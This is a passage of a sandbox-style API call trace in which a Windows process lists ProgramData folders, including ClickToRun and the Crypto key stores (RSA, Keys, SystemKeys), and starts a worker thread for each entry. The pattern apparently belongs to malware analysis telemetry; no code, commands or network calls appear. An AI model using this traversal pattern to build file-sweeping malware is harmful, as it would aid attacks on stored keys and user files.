ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", cAlternateFileName="0D0D4E~1")) returned 1 [0068.960] wcscmp (_String1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", _String2=".") returned 1 [0068.960] wcscmp (_String1="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", _String2="..") returned 1 [0068.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6528 [0068.960] wcscpy (in: _Dest=0x33e6528, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0068.960] wcscat (in: _Dest=0x33e6528, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0068.960] wcscat (in: _Dest=0x33e6528, _Source="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" [0070.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e6528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d8 [0070.549] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", cAlternateFileName="19B111~1")) returned 1 [0070.549] wcscmp (_String1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", _String2=".") returned 1 [0070.549] wcscmp (_String1="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", _String2="..") returned 1 [0070.549] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e65d0 [0070.549] wcscpy (in: _Dest=0x33e65d0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0070.549] wcscat (in: _Dest=0x33e65d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0070.549] wcscat (in: _Dest=0x33e65d0, _Source="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" [0070.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e65d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c [0070.550] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", cAlternateFileName="201EB7~1")) returned 1 [0070.550] wcscmp (_String1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", _String2=".") returned 1 [0070.550] wcscmp (_String1="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", _String2="..") returned 1 [0070.550] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9a) returned 0x33e6678 [0070.550] wcscpy (in: _Dest=0x33e6678, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0070.550] wcscat (in: _Dest=0x33e6678, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0070.550] wcscat (in: _Dest=0x33e6678, _Source="201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" [0070.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e6678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880 [0070.551] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dbb3c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8512127a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8512127a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0070.551] wcscmp (_String1="DeploymentConfig.0.xml", _String2=".") returned 1 [0070.551] wcscmp (_String1="DeploymentConfig.0.xml", _String2="..") returned 1 [0070.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x33c45b8 [0070.551] wcscpy (in: _Dest=0x33c45b8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0070.551] wcscat (in: _Dest=0x33c45b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0070.551] wcscat (in: _Dest=0x33c45b8, _Source="DeploymentConfig.0.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" [0070.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c45b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884 [0070.552] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b22dc95, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml", cAlternateFileName="DEPLOY~3.XML")) returned 1 [0070.552] wcscmp (_String1="DeploymentConfig.1.xml", _String2=".") returned 1 [0070.552] wcscmp (_String1="DeploymentConfig.1.xml", _String2="..") returned 1 [0070.552] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x33c7d40 [0070.552] wcscpy (in: _Dest=0x33c7d40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0070.552] wcscat (in: _Dest=0x33c7d40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0070.552] wcscat (in: _Dest=0x33c7d40, _Source="DeploymentConfig.1.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" [0070.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c7d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888 [0070.553] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534ee362, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c4413a9, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml", cAlternateFileName="DEPLOY~2.XML")) returned 1 [0070.553] wcscmp (_String1="DeploymentConfig.2.xml", _String2=".") returned 1 [0070.553] wcscmp (_String1="DeploymentConfig.2.xml", _String2="..") returned 1 [0070.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x33c9d00 [0070.553] wcscpy (in: _Dest=0x33c9d00, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0070.553] wcscat (in: _Dest=0x33c9d00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0070.553] wcscat (in: _Dest=0x33c9d00, _Source="DeploymentConfig.2.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" [0070.553] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33c9d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88c [0070.554] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1 [0070.554] wcscmp (_String1="MachineData", _String2=".") returned 1 [0070.554] wcscmp (_String1="MachineData", _String2="..") returned 1 [0070.554] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347d930 [0070.554] wcscpy (in: _Dest=0x347d930, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0070.554] wcscat (in: _Dest=0x347d930, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0070.554] wcscat (in: _Dest=0x347d930, _Source="MachineData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData" [0070.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347d930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x890 [0070.555] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProductReleases", cAlternateFileName="PRODUC~1")) returned 1 [0070.555] wcscmp (_String1="ProductReleases", _String2=".") returned 1 [0070.555] wcscmp (_String1="ProductReleases", _String2="..") returned 1 [0070.555] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0070.555] wcscpy (in: _Dest=0x3479970, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0070.555] wcscat (in: _Dest=0x3479970, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0070.555] wcscat (in: _Dest=0x3479970, _Source="ProductReleases" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases" [0070.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3479970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894 [0070.556] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0070.556] wcscmp (_String1="UserData", _String2=".") returned 1 [0070.556] wcscmp (_String1="UserData", _String2="..") returned 1 [0070.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347daf0 [0070.556] wcscpy (in: _Dest=0x347daf0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0070.556] wcscat (in: _Dest=0x347daf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0070.556] wcscat (in: _Dest=0x347daf0, _Source="UserData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData" [0070.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347daf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898 [0070.556] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0070.556] wcscmp (_String1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", _String2=".") returned 1 [0070.557] wcscmp (_String1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", _String2="..") returned 1 [0070.557] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e6870 [0070.557] wcscpy (in: _Dest=0x33e6870, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun" [0070.557] wcscat (in: _Dest=0x33e6870, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0070.557] wcscat (in: _Dest=0x33e6870, _Source="{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0070.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e6870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c [0070.557] FindNextFileW (in: hFindFile=0x3433868, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0070.557] FindClose (in: hFindFile=0x3433868 | out: hFindFile=0x3433868) returned 1 [0070.558] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342b478) returned 1 [0070.558] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481a38) returned 1 [0070.558] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430c28) returned 1 [0070.558] RtlExitUserThread (Status=0x0) Thread: id = 377 os_tid = 0x394 [0068.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3431620 [0068.960] wcscpy (in: _Dest=0x3431620, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0068.960] wcscat (in: _Dest=0x3431620, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0068.960] wcscat (in: _Dest=0x3431620, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\*") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\*" [0068.960] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342b6e0 [0068.960] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*", lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433968 [0068.961] wcscmp (_String1=".", _String2=".") returned 0 [0068.961] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.961] wcscmp (_String1="..", _String2=".") returned 1 [0068.961] wcscmp (_String1="..", _String2="..") returned 0 [0068.961] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0068.961] wcscmp (_String1="DSS", _String2=".") returned 1 [0068.961] wcscmp (_String1="DSS", _String2="..") returned 1 [0068.961] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3431678 [0068.961] wcscpy (in: _Dest=0x3431678, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0068.961] wcscat (in: _Dest=0x3431678, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0068.961] wcscat (in: _Dest=0x3431678, _Source="DSS" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" [0070.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc [0070.544] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0070.544] wcscmp (_String1="Keys", _String2=".") returned 1 [0070.544] wcscmp (_String1="Keys", _String2="..") returned 1 [0070.544] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x347fe80 [0070.544] wcscpy (in: _Dest=0x347fe80, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0070.544] wcscat (in: _Dest=0x347fe80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0070.544] wcscat (in: _Dest=0x347fe80, _Source="Keys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys" [0070.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347fe80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c [0070.544] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCPKSP", cAlternateFileName="")) returned 1 [0070.544] wcscmp (_String1="PCPKSP", _String2=".") returned 1 [0070.545] wcscmp (_String1="PCPKSP", _String2="..") returned 1 [0070.545] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fee0 [0070.545] wcscpy (in: _Dest=0x347fee0, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0070.545] wcscat (in: _Dest=0x347fee0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0070.545] wcscat (in: _Dest=0x347fee0, _Source="PCPKSP" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP" [0070.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347fee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870 [0070.545] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0070.545] wcscmp (_String1="RSA", _String2=".") returned 1 [0070.545] wcscmp (_String1="RSA", _String2="..") returned 1 [0070.545] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x34310a0 [0070.546] wcscpy (in: _Dest=0x34310a0, _Source="C:\\Users\\All Users\\Microsoft\\Crypto" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto") returned="C:\\Users\\All Users\\Microsoft\\Crypto" [0070.546] wcscat (in: _Dest=0x34310a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\" [0070.546] wcscat (in: _Dest=0x34310a0, _Source="RSA" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" [0070.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34310a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874 [0070.547] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x342b6e0 | out: lpFindFileData=0x342b6e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1 [0070.547] wcscmp (_String1="SystemKeys", _String2=".") returned 1 [0070.547] wcscmp (_String1="SystemKeys", _String2="..") returned 1 [0070.547] RtlAllocateHeap 